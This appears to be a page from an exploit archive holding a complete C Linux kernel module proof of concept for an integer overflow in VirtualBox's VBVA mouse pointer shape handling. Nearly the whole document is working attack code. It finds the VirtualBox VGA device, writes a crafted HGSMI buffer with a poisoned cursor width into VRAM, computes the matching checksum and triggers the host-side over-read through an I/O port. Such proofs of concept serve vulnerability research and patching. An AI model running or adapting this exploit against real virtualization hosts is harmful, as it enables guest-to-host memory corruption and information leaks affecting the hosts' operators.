5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gfx1_exploit.c C
/*
 * GFX-1 PoC: VBVA Mouse Pointer Shape Integer Overflow
 *
 * Demonstrates CVE-worthy bug in VirtualBox DevVGA_VBVA.cpp:740-741
 * where || is used instead of && in dimension validation:
 *
 *   ASSERT_GUEST_MSG_RETURN(   SafeShape.u32Width  <= s_cxMax
 *                           || SafeShape.u32Height <= s_cyMax, ...)
 *
 * This allows Width > 2048 as long as Height <= 2048, causing integer
 * overflow in cbPointerData computation.  The host allocates a tiny
 * buffer but stores huge width/height, leading to heap over-read when
 * the host display driver processes the cursor shape.
 *
 * Trigger path (no Guest Additions required):
 *   guest writes HGSMI buffer to VRAM → outl(offset, 0x3D0)
 *   → HGSMIGuestWrite → HGSMIBufferProcess → vbvaChannelHandler
 *   → vbvaMousePointerShape → integer overflow → small RTMemAlloc
 *   → pfnVBVAMousePointerShape with bogus width/height
 *
 * Usage: insmod gfx1_exploit.ko
 *        dmesg | grep gfx1_poc
 *        rmmod gfx1_exploit
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
#include <linux/io.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Research");
MODULE_DESCRIPTION("GFX-1: VBVA mouse pointer shape integer overflow PoC");

#define VBOX_VGA_VENDOR  0x80ee
#define VBOX_VGA_DEVICE  0xbeef

/* HGSMI port for guest commands */
#define VGA_PORT_HGSMI_GUEST  0x3D0

/* HGSMI channel and command IDs */
#define HGSMI_CH_VBVA               0x02
#define VBVA_MOUSE_POINTER_SHAPE    8

/* Mouse pointer flags */
#define VBOX_MOUSE_POINTER_VISIBLE  0x0001
#define VBOX_MOUSE_POINTER_SHAPE    0x0004

/* HGSMI buffer header (16 bytes, packed) */
struct hgsmi_buffer_header {
    uint32_t u32DataSize;
    uint8_t  u8Flags;
    uint8_t  u8Channel;
    uint16_t u16ChannelInfo;
    uint32_t u32Reserved1;
    uint32_t u32Reserved2;
} __packed;

/* HGSMI buffer tail (8 bytes, packed) */
struct hgsmi_buffer_tail {
    uint32_t u32Reserved;
    uint32_t u32Checksum;
} __packed;

/* VBVAMOUSEPOINTERSHAPE (24 bytes header + variable data) */
struct vbva_mouse_pointer_shape {
    int32_t  i32Result;
    uint32_t fu32Flags;
    uint32_t u32HotX;
    uint32_t u32HotY;
    uint32_t u32Width;
    uint32_t u32Height;
    /* au8Data follows */
} __packed;

/*
 * One-at-a-time hash — exact replica of HGSMICommon.cpp
 */
static uint32_t hgsmi_hash_process(uint32_t hash, const void *data, size_t len)
{
    const uint8_t *p = data;
    while (len--) {
        hash += *p++;
        hash += (hash << 10);
        hash ^= (hash >> 6);
    }
    return hash;
}

static uint32_t hgsmi_hash_end(uint32_t hash)
{
    hash += (hash << 3);
    hash ^= (hash >> 11);
    hash += (hash << 15);
    return hash;
}

static uint32_t hgsmi_checksum(uint32_t offset,
                               const struct hgsmi_buffer_header *hdr,
                               uint32_t tail_reserved)
{
    uint32_t hash = 0; /* hgsmiHashBegin() */
    hash = hgsmi_hash_process(hash, &offset, sizeof(offset));
    hash = hgsmi_hash_process(hash, hdr, sizeof(*hdr));
    hash = hgsmi_hash_process(hash, &tail_reserved, sizeof(tail_reserved));
    return hgsmi_hash_end(hash);
}

/*
 * Demonstrate the integer overflow arithmetic (for dmesg logging).
 *
 * With Width=0x80000001, Height=16:
 *   AND mask: (((W+7)/8) * H + 3) & ~3
 *           = (0x10000001 * 16 + 3) & ~3
 *           = (0x00000010 + 3) & ~3           [overflow!]
 *           = 16
 *   XOR mask: W * 4 * H
 *           = 0x00000004 * 16                 [overflow!]
 *           = 64
 *   cbPointerData = 16 + 64 = 80             [should be ~12 GB]
 */
#define POISON_WIDTH   0x80000001U
#define POISON_HEIGHT  16U

/* The overflowed cbPointerData value */
#define CB_POINTER_DATA  80U

/* VBVAMOUSEPOINTERSHAPE fields before au8Data */
#define SHAPE_HEADER_SIZE  24U

/* We need u32DataSize >= CB_POINTER_DATA + SHAPE_HEADER_SIZE = 104 */
#define HGSMI_DATA_SIZE    128U

/* Place buffer well past display framebuffer area */
#define BUFFER_VRAM_OFFSET  0x00100000U  /* 1 MB into VRAM */

static struct pci_dev *vga_dev;
static void __iomem *vram_map;   /* mapped window (just the page we need) */
static resource_size_t vram_size;
static resource_size_t map_phys;
static resource_size_t map_size;

static int __init gfx1_init(void)
{
    struct hgsmi_buffer_header hdr;
    struct hgsmi_buffer_tail tail;
    struct vbva_mouse_pointer_shape shape;
    uint32_t checksum;
    void __iomem *buf_base;
    uint32_t total_buf_size;
    int32_t result;
    resource_size_t bar_start;

    pr_info("gfx1_poc: Loading GFX-1 VBVA mouse pointer overflow PoC\n");

    /* Find VirtualBox VGA device */
    vga_dev = pci_get_device(VBOX_VGA_VENDOR, VBOX_VGA_DEVICE, NULL);
    if (!vga_dev) {
        pr_err("gfx1_poc: VBox VGA device [%04x:%04x] not found\n",
               VBOX_VGA_VENDOR, VBOX_VGA_DEVICE);
        return -ENODEV;
    }
    pr_info("gfx1_poc: Found VBox VGA at %s\n", pci_name(vga_dev));

    /* Get VRAM (BAR 0) size and base */
    vram_size = pci_resource_len(vga_dev, 0);
    bar_start = pci_resource_start(vga_dev, 0);
    if (vram_size == 0 || bar_start == 0) {
        pr_err("gfx1_poc: BAR 0 invalid (start=0x%llx, size=0x%llx)\n",
               (unsigned long long)bar_start, (unsigned long long)vram_size);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }
    pr_info("gfx1_poc: VRAM BAR 0: phys 0x%llx size 0x%llx\n",
            (unsigned long long)bar_start, (unsigned long long)vram_size);

    total_buf_size = sizeof(struct hgsmi_buffer_header) + HGSMI_DATA_SIZE
                   + sizeof(struct hgsmi_buffer_tail);

    if (BUFFER_VRAM_OFFSET + total_buf_size > vram_size) {
        pr_err("gfx1_poc: VRAM too small for buffer at offset 0x%x\n",
               BUFFER_VRAM_OFFSET);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }

    /*
     * Map only a small window around our buffer, not the entire VRAM.
     * This avoids ioremap failures when VRAM is large (16-256 MB) and
     * the existing framebuffer driver already holds the region.
     */
    map_phys = bar_start + (BUFFER_VRAM_OFFSET & PAGE_MASK);
    map_size = PAGE_ALIGN(total_buf_size + (BUFFER_VRAM_OFFSET & ~PAGE_MASK)) + PAGE_SIZE;

    vram_map = ioremap(map_phys, map_size);
    if (!vram_map) {
        pr_err("gfx1_poc: Failed to ioremap VRAM window "
               "(phys 0x%llx, size 0x%llx)\n",
               (unsigned long long)map_phys, (unsigned long long)map_size);
        pci_dev_put(vga_dev);
        return -ENOMEM;
    }
    pr_info("gfx1_poc: Mapped VRAM window at %p (phys 0x%llx + 0x%llx)\n",
            vram_map, (unsigned long long)map_phys, (unsigned long long)map_size);

    /*
     * Build HGSMI buffer in VRAM at BUFFER_VRAM_OFFSET
     *
     * Layout:
     *   +0x00: HGSMIBUFFERHEADER (16 bytes)
     *   +0x10: payload = VBVAMOUSEPOINTERSHAPE (128 bytes)
     *   +0x90: HGSMIBUFFERTAIL (8 bytes)
     *   Total: 152 bytes
     */
    /* buf_base = mapped window base + offset within the mapped page */
    buf_base = vram_map + (BUFFER_VRAM_OFFSET - (BUFFER_VRAM_OFFSET & PAGE_MASK));

    /* --- Header --- */
    memset(&hdr, 0, sizeof(hdr));
    hdr.u32DataSize    = HGSMI_DATA_SIZE;        /* 128 */
    hdr.u8Flags        = 0x00;                   /* SEQ_SINGLE */
    hdr.u8Channel      = HGSMI_CH_VBVA;          /* 0x02 */
    hdr.u16ChannelInfo = VBVA_MOUSE_POINTER_SHAPE; /* 8 */
    hdr.u32Reserved1   = 0;
    hdr.u32Reserved2   = 0;

    /* --- Payload (mouse pointer shape) --- */
    memset(&shape, 0, sizeof(shape));
    shape.i32Result  = 0;
    shape.fu32Flags  = VBOX_MOUSE_POINTER_VISIBLE | VBOX_MOUSE_POINTER_SHAPE;
    shape.u32HotX    = 0;
    shape.u32HotY    = 0;
    shape.u32Width   = POISON_WIDTH;    /* 0x80000001 — passes || check */
    shape.u32Height  = POISON_HEIGHT;   /* 16 — satisfies height <= 2048 */

    /* --- Tail --- */
    memset(&tail, 0, sizeof(tail));
    tail.u32Reserved = 0;

    /* Compute checksum: hash(offset, header, tail.u32Reserved) */
    checksum = hgsmi_checksum(BUFFER_VRAM_OFFSET, &hdr, tail.u32Reserved);
    tail.u32Checksum = checksum;

    pr_info("gfx1_poc: HGSMI checksum = 0x%08x\n", checksum);
    pr_info("gfx1_poc: Malicious shape: %ux%u (should overflow cbPointerData to %u)\n",
            POISON_WIDTH, POISON_HEIGHT, CB_POINTER_DATA);

    /* Verify overflow arithmetic */
    {
        uint32_t w = POISON_WIDTH, h = POISON_HEIGHT;
        uint32_t and_mask = ((((w + 7) / 8) * h + 3) & ~3U);
        uint32_t xor_mask = w * 4 * h;
        uint32_t cb = and_mask + xor_mask;
        pr_info("gfx1_poc: Overflow check: AND=%u XOR=%u cbPointerData=%u\n",
                and_mask, xor_mask, cb);
        pr_info("gfx1_poc: Real data needed: ~%llu bytes (AND) + ~%llu bytes (XOR)\n",
                (unsigned long long)((((uint64_t)w + 7) / 8) * h),
                (unsigned long long)((uint64_t)w * 4 * h));
    }

    /* Zero the entire buffer region in VRAM first */
    memset_io(buf_base, 0, total_buf_size);

    /* Write header to VRAM */
    memcpy_toio(buf_base, &hdr, sizeof(hdr));

    /* Write shape payload to VRAM (after header) */
    memcpy_toio(buf_base + sizeof(hdr), &shape, sizeof(shape));
    /* Remaining payload bytes (128 - 24 = 104 bytes of au8Data area)
     * are already zeroed — serves as dummy pixel data */

    /* Write tail to VRAM */
    memcpy_toio(buf_base + sizeof(hdr) + HGSMI_DATA_SIZE, &tail, sizeof(tail));

    pr_info("gfx1_poc: HGSMI buffer written at VRAM offset 0x%x\n",
            BUFFER_VRAM_OFFSET);
    pr_info("gfx1_poc: Triggering via outl(0x%x, 0x%x)...\n",
            BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);

    /* Fire! Write the buffer offset to the HGSMI guest port */
    outl(BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);

    /* Small delay for host processing */
    mdelay(100);

    /* Read back i32Result from the payload in VRAM */
    result = readl(buf_base + sizeof(hdr));  /* first field of shape */
    pr_info("gfx1_poc: i32Result = %d (0=success, negative=VBox error)\n", result);

    if (result == 0) {
        pr_info("gfx1_poc: *** COMMAND ACCEPTED ***\n");
        pr_info("gfx1_poc: Host allocated %u bytes for a %ux%u cursor\n",
                CB_POINTER_DATA, POISON_WIDTH, POISON_HEIGHT);
        pr_info("gfx1_poc: The host display driver now has a cursor shape with\n");
        pr_info("gfx1_poc: dimensions 2147483649x16 but only 80 bytes of pixel data.\n");
        pr_info("gfx1_poc: === GFX-1 INTEGER OVERFLOW CONFIRMED ===\n");
    } else if (result == -22) {
        /* VERR_INVALID_PARAMETER = -22 in VBox error codes */
        pr_info("gfx1_poc: Command rejected with VERR_INVALID_PARAMETER\n");
        pr_info("gfx1_poc: The validation caught the bad dimensions (bug may be fixed)\n");
    } else {
        pr_info("gfx1_poc: Unexpected result code: %d\n", result);
    }

    return 0;
}

static void __exit gfx1_exit(void)
{
    if (vram_map)
        iounmap(vram_map);
    if (vga_dev)
        pci_dev_put(vga_dev);
    pr_info("gfx1_poc: Unloaded\n");
}

module_init(gfx1_init);
module_exit(gfx1_exit);